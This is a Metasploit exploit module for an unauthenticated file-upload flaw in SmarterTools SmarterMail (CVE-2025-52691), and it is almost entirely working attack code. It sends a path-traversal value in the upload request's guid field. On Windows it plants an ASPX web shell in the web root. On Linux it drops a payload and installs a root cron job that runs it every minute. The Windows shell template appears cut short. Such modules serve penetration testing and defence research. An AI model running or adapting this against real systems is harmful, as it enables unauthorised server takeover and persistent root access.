## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Smartermail prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'SmarterTools SmarterMail GUID File Upload Vulnerability', 'Description' => %q{ This module exploits a pre-auth remote code execution vulnerability in SmarterTools SmarterMail before version 100.0.9413. The endpoint /api/upload fails to sanitize the contextData POST parameter which can contain JSON data with a "guid" key that allows directory traversal. By leveraging this vulnerability, an unauthenticated attacker can upload a malicious ASPX web shell to the server's web root directory, leading to remote code execution. }, 'Author' => [ 'Piotr Bazydlo', # PoC write up 'Sina Kheirkhah', # PoC write up 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://labs.watchtowr.com/do-smart-people-ever-say-theyre-smart-smartertools-smartermail-pre-auth-rce-cve-2025-52691/'], [ 'CVE', '2025-52691'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Type' => :nix, 'BadChars' => "'", 'DefaultOptions' => { 'WfsDelay' => 70 } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :win, 'BadChars' => '"' } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-10-09', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The path of a backdoor shell', '']), OptInt.new('DEPTH', [true, 'Traversal Depth', 15]), OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]), OptString.new('TARGET_DIR', [false, 'Directory to place the payload, on Windows this defaults to the WebRoot, on Linux/Unix it defaults to /tmp which gets called by a cron job', nil]) ] ) end def windows_payload_wrapper vars = Rex::RandomIdentifier::Generator.new <<~EOF <%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> EOF end def check check_version('100.0.9413') end def upload_payload(target_dir, filename, payload_contents) post_data = Rex::MIME::Message.new resumable_filename = Rex::Text.rand_text_alpha(4..8) resumable_filename += '.aspx' if target['Platform'] == 'win' # the resumableFilename is where the file extension is taken from post_data.add_part('attachment', nil, nil, 'form-data; name="context"') post_data.add_part(filename, nil, nil, 'form-data; name="resumableIdentifier"') post_data.add_part(resumable_filename, nil, nil, 'form-data; name="resumableFilename"') post_data.add_part("{\"guid\":\"dag/#{'../' * datastore['DEPTH']}#{target_dir}/#{filename}\"}", 'application/json', nil, 'form-data; name="contextData"') post_data.add_part(payload_contents, 'application/octet-stream', nil, "form-data; name=\"#{Faker::Name.first_name}\"; filename=\"#{Faker::File.file_name(dir: '').gsub('/', '')}\"") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'upload'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s ) fail_with(Failure::UnexpectedReply, 'File upload failed') unless res && res.code == 200 json_output = res.get_json_document fail_with(Failure::UnexpectedReply, 'Unable to parse filename, cannot continue') unless json_output.key?('key') json_output['key'] =~ %r{([^/]+)$} uploaded_filename = Regexp.last_match(1) print_good("The uploaded payload file is named: #{uploaded_filename}") uploaded_filename end def exploit payload_name = Rex::Text.rand_text_alpha(4..8) if target['Platform'] == 'win' target_dir = datastore['TARGET_DIR'].blank? ? '/inetpub/wwwroot' : datastore['TARGET_DIR'] print_status("Uploading payload to #{target_dir}...") uploaded_filename = upload_payload(target_dir, payload_name, windows_payload_wrapper) register_file_for_cleanup("#{target_dir}/#{uploaded_filename}") datastore['RPORT'] = datastore['WEB_ROOT_RPORT'] send_request_cgi( 'uri' => normalize_uri(target_uri.path, uploaded_filename), 'method' => 'GET' ) else target_dir = datastore['TARGET_DIR'].blank? ? '/tmp' : datastore['TARGET_DIR'] print_status("Uploading payload to #{target_dir}...") uploaded_filename = upload_payload(target_dir, payload_name, payload.encoded) register_file_for_cleanup("#{target_dir}/#{uploaded_filename}") payload_path = "#{target_dir}/#{uploaded_filename}" cron_command = "chmod +x #{payload_path} && #{payload_path}&" cron_contents = "* * * * * root /bin/bash -c '#{cron_command}'\n" cron_filename = Rex::Text.rand_text_alpha(8..12) cron_target_dir = '/etc/cron.d' print_status('Uploading cronjob to call payload...') uploaded_cron_filename = upload_payload(cron_target_dir, cron_filename, cron_contents) register_file_for_cleanup("#{cron_target_dir}/#{uploaded_cron_filename}") end end end